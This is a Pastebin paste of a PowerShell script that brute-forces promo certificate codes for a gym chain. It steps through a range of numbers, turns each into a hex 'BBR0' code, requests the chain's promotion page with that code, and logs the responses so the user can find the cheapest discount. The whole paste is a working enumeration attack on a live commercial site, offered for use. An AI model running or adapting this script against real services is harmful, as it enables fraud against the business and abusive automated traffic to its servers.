Advertisement
Guest User

LA Fitness Promo code checker PowerShell script BBR code Cer

a guest
Jan 27th, 2015
313
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #LA Fitness promo code checker. Requires PowerShell. Runs and generates the response for all codes, then you search the results for the cheapest. Range of numbers should be updated weekly or monthly to the new min/max range (Convert hex to int, add trailing 0 when converting back to hex for this months range)
  2. $intmin = 224728422269
  3. $intmax = 230892759877
  4.  
  5.  
  6. while($intmax -gt $intmin) {
  7.     $hexmin = '{0:x}' -f $intmin
  8.  
  9.     $bbcert= "BBR0"+$hexmin #BBR03452DB977D
  10.     $bbcert | Out-File "C:\Users\Administrator\Desktop\lafitness.csv" -Append
  11.     $Response = Invoke-WebRequest http://www.lafitness.com/Promotion?bbcert=$bbcert
  12.    
  13.     $Response.Forms[0].Fields | Out-File "C:\Users\Administrator\Desktop\lafitness.csv" -Append
  14.     Write-Output $bbcert
  15.  
  16.     $intmin++;
  17. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement